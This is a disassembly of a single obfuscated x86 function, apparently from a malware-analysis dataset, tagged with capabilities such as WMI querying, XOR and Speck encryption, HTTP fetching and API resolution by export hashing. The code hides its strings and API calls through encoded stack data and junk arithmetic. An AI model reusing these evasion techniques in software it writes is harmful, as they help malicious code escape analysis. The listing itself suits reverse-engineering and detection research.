Function at 0x434c80
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Encrypt data using speck
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [ebp + 8]
mov dword [esp + 0x5c], eax
mov eax, dword [0x447600]
mov dword [esp + 4], eax
mov dword [esp + 0x48], 0x808f8e95
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
not edx
or edx, 0xbfb624a5
add edx, ecx
inc edx
mov esi, edx
and esi, 2
mov edi, edx
or edx, 2
imul edx, esi
xor esi, 2
and edi, 0xfffffffd
imul edi, esi
mov esi, ecx
xor esi, 0xbfb624a5
add esi, edx
movzx edx, byte [esp + ecx + 0x48]
add esi, edi
xor esi, edx
mov edx, esi
not edx
or edx, 0x24edad7
add edx, esi
inc edx
or esi, 0x24edad7
mov edi, edx
and edi, esi
xor esi, edx
lea edx, [esi + edi*2]
inc dl
mov byte [esp + ecx + 0x48], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 4
jb 0x434cb0
mov ecx, dword [esp + 0x48]
mov dword [esp + 8], 0x6d6c6b67
mov edx, 0x3a
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x32]
mov ebx, eax
and ebx, edx
add bl, bl
sub al, bl
movzx eax, al
add eax, edx
add al, 0xb0
mov byte [esp + edx - 0x32], al
inc edx
cmp edx, 0x3e
jne 0x434d30
mov edx, dword [esp + 8]
mov dword [esp + 0xc], 0x867684a6
mov dword [esp + 0x10], 0xba2ab80e
mov dword [esp + 0x14], 0xbe58bc2f
mov dword [esp + 0x18], 0xb275b022
mov dword [esp + 0x1c], 0xb62cb421
mov dword [esp + 0x20], 0xaa4ca821
mov dword [esp + 0x24], 0xaeadac8e
xor esi, esi
nop
nop
nop
nop
movzx eax, byte [esp + esi + 0xc]
mov ebx, 0xa4
sub ebx, esi
mov edi, eax
not edi
and edi, ebx
or ebx, eax
add ebx, esi
add ebx, edi
mov al, 0xcb
sub al, bl
mov byte [esp + esi + 0xc], al
mov eax, esi
and eax, 1
xor esi, 1
lea esi, [esi + eax*2]
cmp esi, 0x1c
jb 0x434d90
lea edi, [esp + 0x6c]
lea eax, [esp + 0x84]
lea esi, [esp + 0xc]
push edi
push ecx
push eax
push edx
push esi
push 0
call dword [esp + 0x1c]
test eax, eax
jns 0x434e80
mov word [esp + 0xc], 0x95d7
xor eax, eax
mov cl, 1
nop
nop
nop
movzx edx, byte [esp + eax + 0xc]
mov esi, eax
or esi, 0xb071f4cc
lea ebx, [eax + eax]
sub ebx, esi
mov esi, ebx
and esi, edx
add edx, ebx
mov edi, edx
not edi
lea edi, [edi + esi*2]
and edi, ebx
mov ebx, edi
and ebx, 0x4f8e0b35
mov esi, edi
or esi, 0xfffffffd
inc esi
imul esi, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
sub esi, edi
add esi, edx
mov edx, esi
and edx, 0x838fa65f
mov edi, edx
not edi
add esi, edi
add esi, 0x838fa660
mov edi, esi
and edi, edx
xor edx, esi
lea ebx, [edx + edi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + eax + 0xc], bl
mov eax, 1
test cl, 1
mov ecx, 0
jne 0x434df0
movzx eax, word [esp + 0xc]
mov word [esp + 0x84], ax
mov word [esp + 0x86], 0x3a
mov word [esp + 0xc], 0xb013
xor eax, eax
mov cl, 1
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 0xc]
lea edx, [eax + 0x1f780087]
mov edi, 0x6087ff78
sub edi, eax
and edi, 0x40857338
and edx, 0x13400007
or edx, edi
xor edx, esi
mov ebx, edx
xor ebx, 0x80
and edx, 0x53c57338
xor edx, 0xccbd73ff
and ebx, edx
add ebx, edx
inc bl
mov byte [esp + eax + 0xc], bl
mov eax, 1
test cl, 1
mov ecx, 0
jne 0x434e90
movzx eax, word [esp + 0xc]
mov word [esp + 0x88], ax
mov word [esp + 0x8a], 0
mov dword [esp + 0x78], 0x375ee51f
mov dword [esp + 0x74], 0xc956ea7a
mov dword [esp + 0x70], 0x2aa6a61d
mov dword [esp + 0x6c], 0xf5e46654
mov dword [esp + 8], 0
lea eax, [esp + 8]
push eax
push 0x43e678
push 1
push 0
push 0x43e688
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
lea edi, [esp + 0xc]
js 0x43545e
mov dword [esp + 0xc], 0xf3bdf1a2
mov dword [esp + 0x10], 0xf7a2f5bb
mov dword [esp + 0x14], 0xfbb9f9a4
mov dword [esp + 0x18], 0xffb3fdb5
mov dword [esp + 0x1c], 0x3300156
mov word [esp + 0x20], 0x504
xor eax, eax
mov ecx, 0x8f
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0xfb
mov edx, eax
and edx, 4
or edx, esi
xor dl, byte [esp + eax + 0xc]
xor dl, 0x7b
mov byte [esp + eax + 0xc], dl
inc eax
dec ecx
cmp eax, 0x16
jne 0x434f80
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 8]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x43544d
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x435443
mov dword [esp + 0x80], esi
mov dword [esp + 0xc], 0xb7e7b5e3
mov dword [esp + 0x10], 0xbbbab9f4
xor eax, eax
xor ecx, ecx
mov edx, edi
nop
nop
nop
nop
nop
mov ebx, ecx
and bl, 0xf8
add bl, al
xor bl, byte [edx]
xor bl, 0x14
add bl, 0x60
mov byte [edx], bl
inc edx
add ecx, 2
inc al
cmp ecx, 0x10
jne 0x435010
lea esi, [esp + 0xc]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x58], eax
mov dword [esp + 0xc], 0xc600c430
mov dword [esp + 0x10], 0xfa3cf83b
mov dword [esp + 0x14], 0xfe09fc38
mov dword [esp + 0x18], 0xf22bf0df
mov dword [esp + 0x1c], 0xf633f4d3
mov dword [esp + 0x20], 0xea16e805
mov dword [esp + 0x24], 0xeecdec16
mov dword [esp + 0x28], 0xe278e018
mov dword [esp + 0x2c], 0xe636e47d
mov dword [esp + 0x30], 0x9a769835
mov dword [esp + 0x34], 0x9e649c59
mov dword [esp + 0x38], 0x92629060
mov word [esp + 0x3c], 0x9493
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0xc]
mov edi, eax
and edi, 0x25
xor edi, 0x2304ffe5
mov ecx, eax
and ecx, 0x1a
sub ecx, edi
mov edi, edx
xor edi, 0xd0b80060
mov ebx, edx
xor ebx, 0x1f
xor edx, 0xc43001f
or edx, ebx
mov ebx, ecx
xor ebx, 0xe0
and edx, ebx
xor ecx, 0x1f
and ecx, edi
or ecx, edx
mov edx, ecx
and edx, 0x25
mov edi, ecx
and edi, 2
mov ebx, edi
xor ebx, 2
imul ebx, edx
or edx, 2
imul edx, edi
xor ecx, 0x27
add ecx, ebx
add ecx, edx
inc cl
mov byte [esp + eax + 0xc], cl
inc eax
cmp eax, 0x32
jne 0x4350b0
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
lea edx, [esp + 0x68]
push edx
push 0
push 0x30
push edi
push dword [esp + 0x68]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x435429
mov dword [esp + 0x7c], edi
mov dword [esp + 0x60], 0
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
lea edi, [esp + 0x64]
push edx
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x43541b
cmp eax, 1
je 0x43541b
cmp dword [esp + 0x60], 0
je 0x43541b
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x64]
mov dword [esp + 0xc], 0x10ba1e4e
mov dword [esp + 0x10], 0x14aa12a3
mov dword [esp + 0x14], 0x68ab16b4
mov dword [esp + 0x18], 0x6cde6a37
mov dword [esp + 0x1c], 0x60cd6ed0
mov dword [esp + 0x20], 0x64d162c4
mov word [esp + 0x24], 0x6665
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edi, ecx
and edi, 0xb
xor edi, 0x4b
mov edx, ecx
and edx, 0x14
sub edx, edi
xor dl, byte [esp + ecx + 0xc]
add dl, 0x58
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0x1a
jne 0x4351d0
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x50]
push edx
push 0
push esi
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x435406
cmp word [esp + 0x48], 8
jne 0x435406
mov esi, dword [esp + 0x50]
movzx ecx, word [esi]
test cx, cx
je 0x435261
lea eax, [esi + 2]
mov dword [esp], 0
jmp 0x43523e
inc dword [esp]
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x435268
cmp cx, 0x7f
jbe 0x435230
movzx edx, cx
cmp edx, 0x7ff
ja 0x435255
add dword [esp], 2
jmp 0x435233
cmp cx, 0xffff
je 0x435233
add dword [esp], 3
jmp 0x435233
mov dword [esp], 0
mov edi, dword [esp]
lea eax, [edi + 1]
push eax
call fcn.00408000
add esp, 4
mov dword [esp + 0x40], eax
test edi, edi
je 0x4353be
movzx edx, word [esi]
mov eax, dword [esp + 0x40]
test dx, dx
je 0x4353be
mov ecx, dword [esp]
mov eax, dword [esp + 0x40]
nop
nop
nop
nop
nop
nop
movzx edx, dx
lea edi, [esi + 2]
mov dword [esp + 4], edi
cmp dx, 0x7f
ja 0x4352c0
lea edi, [eax + 1]
mov byte [eax], dl
jmp 0x4352e3
cmp edx, 0x7ff
ja 0x435302
cmp ecx, 2
jb 0x435302
mov ebx, edx
shr ebx, 6
add bl, 0xc0
mov byte [eax], bl
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 2]
mov byte [eax + 1], dl
mov esi, dword [esp + 4]
add ecx, eax
sub ecx, edi
mov eax, edi
movzx edx, word [esi]
test dx, dx
je 0x4353be
test ecx, ecx
jne 0x4352a0
jmp 0x4353be
mov edi, edx
and edi, 0xfc00
cmp edi, 0xd800
jne 0x43536b
cmp ecx, 4
jb 0x43536b
movzx edi, word [esi + 2]
add esi, 4
shl edx, 0xa
lea ebx, [edx + edi]
add ebx, 0xfca02400
mov edx, ebx
shr edx, 0x12
add dl, 0xf0
mov byte [eax], dl
mov edx, ebx
shr edx, 0xc
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
shr ebx, 6
mov edx, ebx
xor edx, 0xc0
or ebx, 0x3f
and ebx, edx
add bl, 0x80
mov byte [eax + 2], bl
mov edx, edi
and dl, 0x3f
or dl, 0x80
lea edi, [eax + 4]
mov byte [eax + 3], dl
jmp 0x4352e7
movzx esi, di
cmp esi, 0xdc00
jne 0x43537f
mov esi, dword [esp + 4]
jmp 0x4352ed
cmp ecx, 3
jb 0x4353b7
mov ebx, edx
shr ebx, 0xc
or bl, 0xe0
mov byte [eax], bl
mov ebx, edx
shr ebx, 6
mov esi, ebx
xor esi, 0xc0
or ebx, 0x3f
and ebx, esi
add bl, 0x80
mov byte [eax + 1], bl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
lea edi, [eax + 3]
jmp 0x4352e3
mov edi, eax
jmp 0x4352e3
mov byte [eax], 0
mov eax, 3
sub eax, dword [esp]
cmp eax, 0xfffffffd
jae 0x4353d3
mov eax, 0xfffffffc
add eax, dword [esp]
shr eax, 2
cmp eax, 3
jb 0x4353e3
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov esi, dword [esp + 0x44]
push esi
lea eax, [esp + 0x74]
push eax
call fcn.00408030
add esp, 0xc
push esi
call fcn.00408010
add esp, 4
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [esp + 0x7c]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x58]
call esi
push edi
call esi
lea edi, [esp + 0xc]
mov esi, dword [esp + 0x80]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xb65c016e
push dword [0x4465f8]
call fcn.0043a7f0
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
lea ecx, [esp + 0xa0]
push ecx
call eax
test eax, eax
je 0x435494
mov eax, dword [esp + 0xc]
mov dword [esp + 0x6c], eax
xor esi, esi
jmp 0x4354b9
mov eax, esi
xor eax, 1
and esi, 1
lea esi, [eax + esi*2]
add dword [esp + 0x5c], 8
cmp esi, 4
jae 0x4355b4
mov eax, 0
test esi, esi
je 0x4354cc
cmp dword [esp + esi*4 + 0x6c], 1
mov eax, esi
sbb eax, 0
mov ecx, dword [esp + eax*4 + 0x6c]
mov dword [esp + 0x48], 0x916a176b
xor eax, eax
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0x5e
xor dl, byte [esp + eax + 0x48]
add dl, 0x10
mov byte [esp + eax + 0x48], dl
inc eax
cmp eax, 4
jne 0x4354e0
mov eax, dword [esp + 0x48]
mov edi, eax
not edi
and edi, ecx
mov edx, ecx
not edx
and edx, eax
imul edx, edi
mov edi, eax
and edi, ecx
or eax, ecx
imul eax, edi
add eax, edx
mov dword [esp + 0xc], 0x4d3bee60
mov dword [esp + 0x10], 0x4a494857
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
xor edx, 0xf4
mov edi, ecx
or edi, 0xb
and edx, edi
add edx, edi
xor dl, byte [esp + ecx + 0xc]
add dl, 0xa8
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 8
jne 0x435530
mov ecx, dword [esp + 0xc]
mov edx, ecx
and edx, eax
xor ecx, eax
lea eax, [ecx + edx*2]
mov dword [esp + esi*4 + 0x6c], eax
mov edi, 0xffffffff
mov ebx, 0xfffffffe
push 0x10
push 9
push dword [esp + 0x64]
push eax
call fcn.0041d160
add esp, 0x10
nop
nop
add ebx, 2
cmp byte [eax + edi + 1], 0
lea edi, [edi + 1]
jne 0x435580
xor edi, 8
not ebx
and ebx, 0x10
mov ecx, ebx
sub ecx, edi
je 0x4354a0
sub edi, ebx
add eax, edi
push ecx
push 0x30
push eax
call fcn.00408090
add esp, 0xc
jmp 0x4354a0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret